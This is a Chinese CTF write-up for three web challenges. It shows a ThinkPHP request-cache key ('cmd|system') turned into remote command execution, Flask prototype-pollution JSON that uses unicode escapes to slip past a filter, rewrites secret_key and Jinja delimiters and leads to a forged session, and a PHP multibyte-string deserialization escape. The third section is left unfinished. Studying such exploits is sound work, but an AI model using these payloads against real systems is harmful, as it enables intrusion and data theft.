周末出去玩了,没打西瓜杯,直接复现吧
tpdoor 下载附件先
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php namespace app \controller ;use app \BaseController ;use think \facade \Db ;class Index extends BaseController { protected $middleware = ['think\middleware\AllowCrossDomain' ,'think\middleware\CheckRequestCache' ,'think\middleware\LoadLangPack' ,'think\middleware\SessionInit' ]; public function index ($isCache = false , $cacheTime = 3600 ) { if ($isCache == true ){ $config = require __DIR__ .'/../../config/route.php' ; $config ['request_cache_key' ] = $isCache ; $config ['request_cache_expire' ] = intval ($cacheTime ); $config ['request_cache_except' ] = []; file_put_contents (__DIR__ .'/../../config/route.php' , '<?php return ' . var_export ($config , true ). ';' ); return 'cache is enabled' ; }else { return 'Welcome ,cache is disabled' ; } } }
看不出什么,再看一下网站,logo 是 tp,加上报错页面 thinkphp 的模板框架无疑
v8.0 网上没什么漏洞,那应该是这个页面写了漏洞,还得下载源码分析。注意这里不能去下 github 上的 tp,会少文件,按照官网的步骤用 composer 安装即可。(我安在了kali下,然后移出来看的
https://doc.thinkphp.cn/v8_0/setup.html
可以看到靶机的源码是在 controller 下 index.php 文件,我们复制然后替换到源码里面。
注意到 index.php 里我们可控的参数是 $isCache,$isCache,也就是 $config[‘request_cache_key’], $config[‘request_cache_expire’]
1 2 $config ['request_cache_key' ] = $isCache ;$config ['request_cache_expire' ] = intval ($cacheTime );
最后看把 $config 写入了 /../../config/route.php
1 file_put_contents (__DIR__ .'/../../config/route.php' , '<?php return ' . var_export ($config , true ). ';' );
所以查找 config/route.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php return array ( 'pathinfo_depr' => '/' , 'url_html_suffix' => 'html' , 'url_common_param' => true , 'url_lazy_route' => false , 'url_route_must' => false , 'route_rule_merge' => false , 'route_complete_match' => false , 'controller_layer' => 'controller' , 'empty_controller' => 'Error' , 'controller_suffix' => false , 'default_route_pattern' => '[\\w\\.]+' , 'request_cache_key' => true , 'request_cache_expire' => 1 , 'request_cache_except' => array ( ), 'default_controller' => 'Index' , 'default_action' => 'index' , 'action_suffix' => '' , 'default_jsonp_handler' => 'jsonpReturn' , 'var_jsonp_handler' => 'callback' , );
先从可控的 request_cache_key 开始全局搜索,最后在 CheckRequestCache.php 页面找到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 <?php declare (strict_types=1 );namespace think \middleware ;use Closure ;use think \Cache ;use think \Config ;use think \Request ;use think \Response ;class CheckRequestCache { protected $cache ; protected $config = [ 'request_cache_key' => true , 'request_cache_expire' => null , 'request_cache_except' => [], 'request_cache_tag' => '' , ]; public function __construct (Cache $cache , Config $config ) { $this ->cache = $cache ; $this ->config = array_merge ($this ->config, $config ->get ('route' )); } public function handle (Request $request , Closure $next , $cache = null ): Response { if ($request ->isGet () && false !== $cache ) { if (false === $this ->config['request_cache_key' ]) { $cache = false ; } $cache = $cache ?? $this ->getRequestCache ($request ); if ($cache ) { if (is_array ($cache )) { [$key , $expire , $tag ] = array_pad ($cache , 3 , '' ); } else { $key = md5 ($request ->url (true )); $expire = $cache ; $tag = '' ; } $key = $this ->parseCacheKey ($request , $key ); if (strtotime ($request ->server ('HTTP_IF_MODIFIED_SINCE' , '' )) + $expire > $request ->server ('REQUEST_TIME' )) { return Response ::create ()->code (304 ); } elseif (($hit = $this ->cache->get ($key )) !== null ) { [$content , $header , $when ] = $hit ; if (null === $expire || $when + $expire > $request ->server ('REQUEST_TIME' )) { return Response ::create ($content )->header ($header ); } } } } $response = $next ($request ); if (isset ($key ) && 200 == $response ->getCode () && $response ->isAllowCache ()) { $header = $response ->getHeader (); $header ['Cache-Control' ] = 'max-age=' . $expire . ',must-revalidate' ; $header ['Last-Modified' ] = gmdate ('D, d M Y H:i:s' ) . ' GMT' ; $header ['Expires' ] = gmdate ('D, d M Y H:i:s' , time () + $expire ) . ' GMT' ; $this ->cache->tag ($tag )->set ($key , [$response ->getContent (), $header , time ()], $expire ); } return $response ; } protected function getRequestCache ($request ) { $key = $this ->config['request_cache_key' ]; $expire = $this ->config['request_cache_expire' ]; $except = $this ->config['request_cache_except' ]; $tag = $this ->config['request_cache_tag' ]; foreach ($except as $rule ) { if (0 === stripos ($request ->url (), $rule )) { return ; } } return [$key , $expire , $tag ]; } protected function parseCacheKey ($request , $key ) { if ($key instanceof Closure ) { $key = call_user_func ($key , $request ); } if (false === $key ) { return ; } if (true === $key ) { $key = '__URL__' ; } elseif (str_contains ($key , '|' )) { [$key , $fun ] = explode ('|' , $key ); } if (str_contains ($key , '__' )) { $key = str_replace (['__CONTROLLER__' , '__ACTION__' , '__URL__' ], [$request ->controller (), $request ->action (), md5 ($request ->url (true ))], $key ); } if (str_contains ($key , ':' )) { $param = $request ->param (); foreach ($param as $item => $val ) { if (is_string ($val ) && str_contains ($key , ':' . $item )) { $key = str_replace (':' . $item , (string ) $val , $key ); } } } elseif (str_contains ($key , ']' )) { if ('[' . $request ->ext () . ']' == $key ) { $key = md5 ($request ->url ()); } else { return ; } } if (isset ($fun )) { $key = $fun ($key ); } return $key ; } }
注意到
1 2 3 if (isset ($fun )) { $key = $fun ($key ); }
很像漏洞点,直接开始下断点调试,注意得去 /public/index.php 页面下开始 debug,我也不知道为什么,可能 tp 团队定义的路由规则。还要注意把 $cacheTime 改为 1,不然会执行很久。
动态调试时发现进不去这个判断,向上找
1 2 3 elseif (str_contains ($key , '|' )) { [$key , $fun ] = explode ('|' , $key ); }
原来用 explode(‘|’, $key); 来得到 $fun,而且发现这个 $key 就是 config[‘request_cache_key’]。我们在 route.php 修改一下
1 'request_cache_key' => "whoami|system"
然后再动态调试
执行成功。最后根据 tp 路由规则发包即可thinkPHP 参数传入 - 聽丶 - 博客园 (cnblogs.com)
1 https://225f8924-0efe-462c-b06b-49274664151e.challenge.ctf.show/index.php/index/index?isCache=cat /000f1ag.txt|system&cacheTime=0
因为 cache 缓存时间,多刷新几遍就能 rce 了
easy_polluted 根据题目名应该是原型链污染之类的,下载源码看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from flask import Flask, session, redirect, url_for,request,render_templateimport osimport hashlibimport jsonimport redef generate_random_md5 (): random_string = os.urandom(16 ) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest() def filter (user_input ):a blacklisted_patterns = ['init' , 'global' , 'env' , 'app' , '_' , 'string' ] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) app = Flask(__name__) app.secret_key = generate_random_md5() class evil (): def __init__ (self ): pass @app.route('/' ,methods=['POST' ] ) def index (): username = request.form.get('username' ) password = request.form.get('password' ) session["username" ] = username session["password" ] = password Evil = evil() if request.data: if filter (str (request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else : merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html" ) @app.route('/admin' ,methods=['POST' , 'GET' ] ) def templates (): username = session.get("username" , None ) password = session.get("password" , None ) if username and password: if username == "adminer" and password == app.secret_key: return render_template("flag.html" , flag=open ("/flag" , "rt" ).read()) else : return "Unauthorized" else : return f'Hello, This is the POLLUTED page.' if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
注意到 admin 路由下可以读取 flag,但是会验证 session ,我们都知道 flask 的session 可以伪造,但是得知道 secret_key 。正好 Evil 实例可以通过 merge 函数污染环境变量,那我们就可以修改 secret_key 为自己想要的,然后伪造 session 签名通过验证。
0x01 merge 污染 根据这篇文章就能理解污染原理。浅谈Python原型链污染及利用方式 - 先知社区 (aliyun.com)
刚好我们可以利用 Evil 的 __init__ 魔术方法来推链子(感觉像 ssti
1 2 3 4 5 6 7 8 9 json_data = { "__init__" : { "__globals__" : { "app" : { "secret_key" : "pass" } } } }
json 数据是因为
1 merge(json.loads(request.data), Evil)
注意到有 WAF,我们可以 unicode 编码来绕过,json_loads 能识别 unicode
1 2 3 4 5 6 7 8 9 { "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u0061\u0070\u0070" : { "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" : "pass" } } } }
0x02 session 伪造 对flask session伪造的学习 - GTL_JU - 博客园 (cnblogs.com)
1 python 1.py encode -s 'pass' -t "{'password': 'pass', 'username': 'adminer'}"
然后填入 session 访问 admin 路由,返回包
1 2 这又是什么jinja语法啊! [#flag#]
0x04 污染 jinja 引擎语法 提示我们修改 jinja 的模板引擎语法,正常来说应该是 {{}},{%%}。正好模板语法的定义也在 app 下
1 2 print (Evil.__init__.__globals__['app' ].jinja_env.variable_start_string)print (Evil.__init__.__globals__['app' ].jinja_env.variable_end_string)
污染的话 jinja_env.variable_start_string 改为 [#,jinja_env.variable_end_string 污染为 #] 即可。
1 2 3 4 5 6 7 8 9 10 11 12 { "__init__" : { "__globals__" : { "app" : { "jinja_env" : { "variable_start_string" : "[#" , "variable_end_string" : "#]" } } } } }
不过得重置靶机再访问 admin 之前就要修改语法,我猜这和 flask 的渲染机制有关。
重置靶机之后,直接 key 和 jinja 一起修改
1 2 3 4 5 6 7 8 9 10 11 12 13 { "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u0061\u0070\u0070" : { "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" : "pass" , "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" : { "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067" : "[#" , "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067" : "#]" } } } } }
最后带着伪造的 session 访问 admin 路由得到 flag
0x05 法二:修改 _static_folder 为根目录 _static_folder 打印出来为 static,当我们访问 url/static/1.js 的时候是不用路由验证的,那我们就可以把 _static_folder 的值改为 “/“,这样访问 url/static/ 就可以映射根目录下的资源
1 { "__init__" : { "__globals__" : { "app" : { "_static_folder" : "/" } } } }
然后直接访问 url/static/flag (这里修不修改 key 已经无所谓了。
Ezzz_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php highlight_file (__FILE__ );error_reporting (0 );function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); } class read_file { public $start ; public $filename ="/etc/passwd" ; public function __construct ($start ) { $this ->start=$start ; } public function __destruct ( ) { if ($this ->start == "gxngxngxn" ){ echo 'What you are reading is:' .file_get_contents ($this ->filename); } } } if (isset ($_GET ['start' ])){ $readfile = new read_file ($_GET ['start' ]); $read =isset ($_GET ['read' ])?$_GET ['read' ]:"I_want_to_Read_flag" ; if (preg_match ("/\[|\]/i" , $_GET ['read' ])){ die ("NONONO!!!" ); } $ctf = substrstr ($read ."[" .serialize ($readfile )."]" ); unserialize ($ctf ); }else { echo "Start_Funny_CTF!!!" ; } Start_Funny_CTF!!!
0x01 前置知识 先来了解两个小 tips
1 2 3 4 5 6 <?php highlight_file (__FILE__ );echo mb_strpos ($_GET [1 ]."AAA<BB" , '<' );echo "</br>" ;echo mb_substr ($_GET [2 ]."AAA<BB" ,0 ,2 );?>
输出:
mb_strpos这个函数在遇到 %9f 这个不可见字符时,会自动忽略
mb_substr,他会把 %f0 连着后面的三个字符当成一个字符来识别
0x02 构造逃逸 先构造
1 read = O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:5:"/flag";}
然后不断在前面加上 %9f 这样就可以使截取长度不变,截取位置改变。
1 read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:5:"/flag";}&start=gxngxngxn
但是没有 /flag 页面。要利用 file_get_contents($this->filename); 来rce
【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)
看不懂,开摆。。。